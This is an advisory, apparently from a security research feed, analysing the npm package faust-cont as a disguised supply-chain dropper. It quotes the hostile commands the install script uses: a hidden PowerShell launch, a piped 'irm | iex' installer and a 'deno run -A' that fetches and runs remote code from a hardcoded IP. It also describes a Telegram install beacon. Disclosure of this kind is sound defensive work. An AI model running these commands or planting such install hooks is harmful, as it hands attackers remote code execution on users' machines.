Malicious code in faust-cont (npm)
The npm package faust-cont is a supply-chain dropper disguised as a benign CLI tool (index.js is a decoy that only logs "cli tool install package loaded"). The real behaviour is placed in an install script.
An install lifecycle hook (install: node install.js) executes automatically on npm install, before the package is ever imported. On Windows the install script writes a PowerShell script to %TEMP%\setup.ps1 and launches it hidden and detached (powershell -WindowStyle Hidden -ExecutionPolicy Bypass). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (irm get.scoop.sh | iex), then winget, then Deno — and finally runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.
Detected and classified independently by codelake Research from the npm feed on 2026-07-21; at the time of reporting the package was not present in OSV or GHSA (a first-catch). The package was already unpublished from npm by the time of analysis; the artifact is preserved in the codelake archive.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준